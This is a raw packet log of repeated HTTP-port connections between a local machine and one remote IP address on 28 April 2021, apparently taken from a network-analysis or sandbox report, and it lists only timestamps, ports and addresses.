Apr 28, 2021 23:23:35.927229881 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927248001 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927283049 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927529097 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927582979 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927638054 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927792072 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927810907 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927907944 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.928158045 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.928396940 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.928518057 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.928534985 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.928550959 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.930198908 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.930412054 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.006520987 CEST	80	49987	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.009691954 CEST	80	49987	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.009764910 CEST	49987	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.030550957 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.030667067 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.119038105 CEST	49987	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.120584011 CEST	49989	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.216197968 CEST	80	49989	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.216358900 CEST	49989	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.216875076 CEST	49989	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.218231916 CEST	80	49987	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.218414068 CEST	49987	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.312568903 CEST	80	49989	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.316927910 CEST	80	49989	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.318747997 CEST	49989	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.428653955 CEST	49989	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.429780960 CEST	49990	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.524250031 CEST	80	49989	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.524395943 CEST	49989	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.527631044 CEST	80	49990	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.528291941 CEST	49990	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.528860092 CEST	49990	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.627928019 CEST	80	49990	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.632390022 CEST	80	49990	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.634788036 CEST	49990	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.741194963 CEST	49990	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.742300987 CEST	49991	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.837961912 CEST	80	49991	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.838064909 CEST	49991	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.838737011 CEST	80	49990	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.839128017 CEST	49991	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.839207888 CEST	49990	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:36.934644938 CEST	80	49991	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.938488007 CEST	80	49991	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:36.940687895 CEST	49991	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.054306984 CEST	49991	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.055810928 CEST	49992	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.149849892 CEST	80	49991	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.149934053 CEST	49991	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.155371904 CEST	80	49992	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.155601025 CEST	49992	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.156857967 CEST	49992	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.256303072 CEST	80	49992	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.260206938 CEST	80	49992	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.260340929 CEST	49992	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.366698980 CEST	49992	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.368153095 CEST	49994	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.463525057 CEST	80	49994	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.463685036 CEST	49994	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.464396000 CEST	49994	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.466590881 CEST	80	49992	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.466737986 CEST	49992	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.560935020 CEST	80	49994	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.565625906 CEST	80	49994	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.565776110 CEST	49994	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.679565907 CEST	49994	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.680655003 CEST	49995	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.774610996 CEST	80	49994	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.774774075 CEST	49994	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.780817032 CEST	80	49995	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.781040907 CEST	49995	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.781565905 CEST	49995	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.881468058 CEST	80	49995	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.886017084 CEST	80	49995	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:37.886200905 CEST	49995	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.991889000 CEST	49995	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:37.992918015 CEST	49996	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.088515043 CEST	80	49996	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.088630915 CEST	49996	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.089442968 CEST	49996	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.091648102 CEST	80	49995	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.091737986 CEST	49995	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.184942961 CEST	80	49996	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.188663960 CEST	80	49996	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.188842058 CEST	49996	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.303967953 CEST	49996	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.304703951 CEST	49997	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.399379015 CEST	80	49996	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.399548054 CEST	49996	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.404350996 CEST	80	49997	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.404508114 CEST	49997	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.405090094 CEST	49997	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.506267071 CEST	80	49997	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.509046078 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.509601116 CEST	80	49997	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.509680986 CEST	49997	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.604809046 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.604939938 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.605201960 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.619803905 CEST	49997	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.620863914 CEST	49999	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.701482058 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.701611996 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.701647043 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.701713085 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.701831102 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.701888084 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.702296972 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.702368021 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.702697992 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.702795982 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.703221083 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.703299999 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.703372002 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.703449965 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.703685045 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.703746080 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.704335928 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.704415083 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.704431057 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.704493046 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.719607115 CEST	80	49997	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.719798088 CEST	49997	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.721484900 CEST	80	49999	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.721930027 CEST	49999	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.722523928 CEST	49999	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.797698975 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.797796965 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.797837019 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.797868013 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.797872066 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.797885895 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.797954082 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.797993898 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.798048019 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.798115969 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.798226118 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.798302889 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.798641920 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.798717976 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.798806906 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.798825026 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.798912048 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.799160957 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.799245119 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.799309969 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.799438953 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.799819946 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.799895048 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.799937963 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.800004959 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.800124884 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.800158978 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.800180912 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.800409079 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.821827888 CEST	80	49999	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.825500011 CEST	80	49999	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.825761080 CEST	49999	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.893413067 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.893430948 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.893446922 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.893563986 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.893620014 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.893680096 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.893901110 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.893918991 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.893987894 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.894108057 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.894123077 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.894133091 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.894144058 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.894258022 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.894306898 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.894351006 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.894520044 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.894587994 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.894660950 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.894701004 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.894815922 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.895066977 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.895081997 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.895152092 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.895183086 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.895390034 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.895514011 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.895530939 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.895541906 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.895592928 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.895616055 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.895740032 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.895751953 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.895869017 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.928992987 CEST	49999	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.929980040 CEST	50000	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:38.990540028 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.990555048 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.990571022 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.990725040 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.991125107 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.991403103 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.991560936 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.991599083 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.992048979 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.992400885 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.992433071 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.992603064 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.992610931 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.992624044 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.992631912 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.992973089 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.993489981 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.993519068 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.993556976 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.993571997 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.993803978 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.995335102 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:38.995547056 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.029994011 CEST	80	49999	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.030086040 CEST	49999	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.031635046 CEST	80	50000	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.031790018 CEST	50000	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.032419920 CEST	50000	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.093008041 CEST	80	49998	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.093125105 CEST	49998	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.131921053 CEST	80	50000	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.136065960 CEST	80	50000	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.136836052 CEST	50000	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.241455078 CEST	50000	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.242830992 CEST	50002	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.341661930 CEST	80	50002	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.342575073 CEST	80	50000	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.342715979 CEST	50000	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.342736959 CEST	50002	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.343343019 CEST	50002	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.440589905 CEST	80	50002	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.444026947 CEST	80	50002	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.444175005 CEST	50002	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.553946972 CEST	50002	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.554910898 CEST	50003	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.652570009 CEST	80	50002	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.652915001 CEST	50002	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.656352043 CEST	80	50003	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:39.660906076 CEST	50003	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.661972046 CEST	50003	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:39.762464046 CEST	80	50003	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:40.155738115 CEST	80	50003	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:40.155917883 CEST	50003	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:40.272928953 CEST	50003	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:40.274296045 CEST	50005	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:40.373341084 CEST	80	50005	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:40.373361111 CEST	80	50003	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:40.373435974 CEST	50005	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:40.373492002 CEST	50003	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:40.374376059 CEST	50005	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:40.471942902 CEST	80	50005	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.158641100 CEST	80	50005	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.158817053 CEST	50005	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.353957891 CEST	50005	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.355593920 CEST	50006	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.451932907 CEST	80	50005	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.452122927 CEST	50005	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.455883980 CEST	80	50006	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.456017971 CEST	50006	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.456721067 CEST	50006	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.555713892 CEST	80	50006	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.559973001 CEST	80	50006	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.564553976 CEST	50006	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.644726992 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.681268930 CEST	50006	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.682706118 CEST	50008	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.740272999 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.740377903 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.746068001 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.782495022 CEST	80	50006	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.782557964 CEST	80	50008	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.782576084 CEST	50006	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.782668114 CEST	50008	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.783267021 CEST	50008	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.842569113 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.842701912 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.842881918 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.842902899 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.842917919 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.842947006 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.843003988 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.880887985 CEST	80	50008	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940749884 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940774918 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940787077 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940798044 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940809011 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940819979 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940829992 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940840006 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:41.940901995 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:41.941008091 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.016314030 CEST	80	50008	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.017823935 CEST	50008	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.038836956 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.038856030 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.038866043 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.038877010 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.038989067 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.039119005 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.039189100 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.039232016 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.039521933 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.039604902 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.039666891 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.039705038 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.039810896 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.039890051 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.039968014 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.040273905 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.040453911 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.040533066 CEST	50007	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.132546902 CEST	50008	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.133618116 CEST	50009	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:42.135138035 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.135169983 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.135195017 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.135358095 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.135401964 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.135554075 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.135588884 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.135713100 CEST	80	50007	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:42.135869026 CEST	80	50007	176.111.174.114	192.168.2.5
